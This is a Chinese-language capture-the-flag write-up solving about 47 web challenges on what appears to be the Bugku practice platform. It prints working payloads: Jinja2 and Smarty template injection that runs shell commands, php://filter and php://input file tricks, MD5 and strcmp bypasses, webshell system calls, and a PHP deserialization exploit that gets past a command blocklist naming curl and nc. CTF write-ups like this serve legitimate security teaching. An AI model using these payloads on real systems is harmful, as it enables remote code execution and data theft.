目录
- 1、Simple_SSTI_1
- 2、Simple_SSTI_2
- 3、待定
- 4、滑稽
- 5、计算器
- 6、GET
- 7、POST
- 8、矛盾
- 9、alert
- 10、你必须让他停下
- 11、社工-初步收集 待定
- 12、game1
- 13、黑客
- 14、本地管理员
- 15、eval
- 16、变量1
- 17、头等舱
- 18、待定
- 19、待定
- 20、源代码
- 21、文件包含
- 22、好像需要密码
- 23、备份是个好习惯
- 24、No one knows regex better than me 待定
- 25、cookie欺骗
- 26、never_give_up 待定
- 27、shell
- 28、成绩查询 待定
- 29、秋名山车神
- 30、聪明的php
- 31、xxx二手交易市场 待定
- 32、冬至红包
- 33、sodirty
- 34、字符?正则?
- 35、前女友
- 36、 login1
- 37、你从哪里来
- 38、MD5
- 40、程序员本地网站
- 41、各种绕过哟
- 42、file_get_contents
- 43、安慰奖
- 44、文件上传 待定
- 45、decrype 待定
- 46、文件包含2 待定
- 47、需要管理员
1、Simple_SSTI_1
进行判断 {{2*'7'}}=77
那么就是jinjia2的注入模板
先进行第一步尝试
{{[].__class__.__base__.__subclasses__()}}
查找
判断其位于177为
但是往下走不通了,需要另辟道路
想了半天,就直接config吧
好吧,直接出来了
ps:自己想复杂了
2、Simple_SSTI_2
一样,{{[].__class__.__base__.__subclasses__()[177].__init__.func_globals.keys()}}
走不通
那么继续config吧
继续走不通,哎找找jinja的万能模板看看
发现还是得走{{[].__class__.__base__.__subclasses__()[177].__init__.func_globals.keys()}}
这条路,但是可以万能编码直接运行
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("env").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
3、待定
4、滑稽
view-source:
5、计算器
两种方案:
(1)直接修改输入限制
(2)直接抓包POST输入
6、GET
没什么好说的
7、POST
post包传输一下
8、矛盾
传输进去的参数num不能是数字,但是又要赋值为1
这里就要去查看is_numberic这个函数的漏控
两种方案:
(1)num=1a
(2) num=1=1|1
9、alert
疯狂弹窗
那么就简单了
把js关掉
查看源代码
html编码,直接就用burpsuite进行解密
10、你必须让他停下
疯狂的重定向,那么就简单了
抓包放包就好了
11、社工-初步收集 待定
12、game1
看看反向包的传参
那么就可以直接看出来
http://114.67.246.176:11983/score.php?score=25&ip=222.76.243.167&sign=zMMjU===
分数是25分,后面那一串还看不出规律,多叠一层看看
那么后面那串参数可能是叠的楼层几层的说法
那么就base64继续看看,发现也不对,那么是分数的意思?再看看
发现这里面还挺有意思
sign=zM+base64(分数)+’==’
构造一个大分数
13、黑客
然后需要输入密码 爆破一下
14、本地管理员
登陆密码在源代码里
主要思路:xff
15、eval
var_dump(file('flag.php'))
https://blog.csdn.net/fastergohome/article/details/102514264
16、变量1
这边就很微妙了
有了这个eval("var_dump($$args);")
处理一下,让他成为 var_dump($GLOBALS)
?args=GLOBALS
17、头等舱
直接看头部信息
18、待定
19、待定
20、源代码
源代码
发现是js加密,那么就浏览器就可以解密了
拼接起来
将其输入框内即可。
21、文件包含
直接源码展示
?file=php://filter/read=convert.base64-encode/resource=index.php
答案就出来了
22、好像需要密码
23、备份是个好习惯
直接index.php.bak
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
主要是有替换,那么就直接构造
24、No one knows regex better than me 待定
25、cookie欺骗
http://114.67.246.176:18954/index.php?line=&filename=a2V5cy50eHQ=
这里filename就是base64的文件名
line就是行数
那么简单了,index.php,然后再写脚本进行输出
import requests
for i in range(1,50):
url = 'http://114.67.246.176:18954/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
res = requests.get(url)
print(res.text)
直接看到源代码
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
直接就是抓包
Cookie:margin=margin
还有base64(keys.php)
26、never_give_up 待定
这题要着重讲一下
第一个雷区
这个会重定向,那么bp又抓不到,第一个点,就是关闭js。
第二个点,这个url和base64的解密,用bp时最好用的(真的神器)
代码:
<!--";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
?>-->"
这里面的几个注意点
1、file_get_contents
用php://input
2、eregi
这个用%00截断
3、id不能空和0,这个真的台鸡贼了
?id=aa&b=%00abcdef&a=php://input
27、shell
这边已经有木马了,那么就简单了
?s=system('ls')
?s=system('cat flaga15808abee46a1d5.txt')
28、成绩查询 待定
29、秋名山车神
这道题就是要用脚本跑数字,然后就可以直接传参
这里面就有第一个点,传参的参数是什么,那么就是多刷新了
知道传value的参数,那么就是写代码了
import requests
import os
import re
import json
session = requests.session()
url = 'http://114.67.246.176:12448/'
res = session.get(url).text
res_one = re.findall('<div>(.*?)</div>',res)
res_two = str(res_one)
res_three =res_two[2:-5]
res_four = eval(res_three)
value = res_four
data={
'value':res_four
}
#data=json.dumps(data)
res_five = session.post(url,data=data).text
print(res_five)
print(res_four)
这里面的代码我也是多次调试,这里写几点注意事项
1、要用session保持会话,那么就是保证第一时间传参
2、eval的数字要str化
3、传参用data
30、聪明的php
smarty模板注入,那么就换一下过滤函数,一切就很简单了
?flag={{passthru('ls /')}}
?flag={{passthru('tac _6742')}}
这里就是要注意一点,多看看源代码
31、xxx二手交易市场 待定
32、冬至红包
代码分析一下,那么就是
长度绕过和过滤词绕过,最后再来一个判断,那么一步一步来
flag=return'270bd8044df4f08635abced6ce1d9e553b8fe5505f';
计算下长度
长度49
那么接下来就是绕过关键词和对比
主要从后面的sha1对比,没办法对比,那么就直接在eval就输出把,eval(echo flag)
接下来就是构建了,这里面又短标签绕过,两个关键信息?>和<?=$a =?>
构建一下
flag=$a=blag;$a{0}=f?>11111111111111111111111<?=$$a%20?>
33、sodirty
34、字符?正则?
看代码,就是要匹配正则
/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i
分析一下
key+(.?)+key+.{4,7}+key:+/.+/+(.?)+key+[a-z]+标点符号/省略大小写
比如:key1key1111key:/./akeya?
35、前女友
看提示,查看源代码,可以看到源代码
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
这个就很常见了,前面的v1和v2很好处理,数组或者碰撞都可以
v3不要陷入盲区,v3==flag时是0,所以用上!时才是要的答案,这里面就是要v3=flag,那么很简单了,v3用成数组形式,这题就解决了,那么构造下函数
?v1=240610708&v2=s878926199a&v3[]=2
36、 login1
登陆注册界面,可以考虑下约束攻击
注册时的时候
账号
admin 1
密码
Aa123456
注册成功后,用admin登陆,就可以知道flag了
37、你从哪里来
看看题目
立马想到referer
试试看
成功了
38、MD5
说实话,这题很没用水平,输入a然后源代码没有给,谁知道要干么
然后呢,试了一下0e就成功了,没啥好做的
40、程序员本地网站
这题也很没有水平
本地访问,那么就是X-Forwarded-For:127.0.0.1
41、各种绕过哟
熟悉了套路也就没什么好做的了
GET:uname[]=123&id=margin
POST:passwd[]=221
42、file_get_contents
主要的解题思路在file_get_contents
这里
使用php://input
绕过
get:?ac=1&fn=php://input
post:1
43、安慰奖
base64一下,backups,就是备份的意思,试一下index.php.bak,得到源代码
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}
function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>
核心宗旨就四点
一、序列化
二、有__wakeup
干扰
三、username === 'admin'
四、/cat|more|tail|less|head|curl|nc|strings|sort|echo/i
过滤
实现:
一、反序列化
二、__wakeup
绕过
三、先ls试水
四、protected
乱码补充 %00*%00
先ls试水
<?php
class ctf
{
protected $username='admin' ;
protected $cmd ='ls';
}
$a = new ctf();
$b = serialize($a);
echo $b;
?>
而后用tac直接上tac flag.php
44、文件上传 待定
45、decrype 待定
46、文件包含2 待定
47、需要管理员
这题就很无语
先看看robots.txt或者扫描一下
接下来就是
弱口令爆破一下,还以为需要XFF,结果都不要
直接x=admin 确实莫名其妙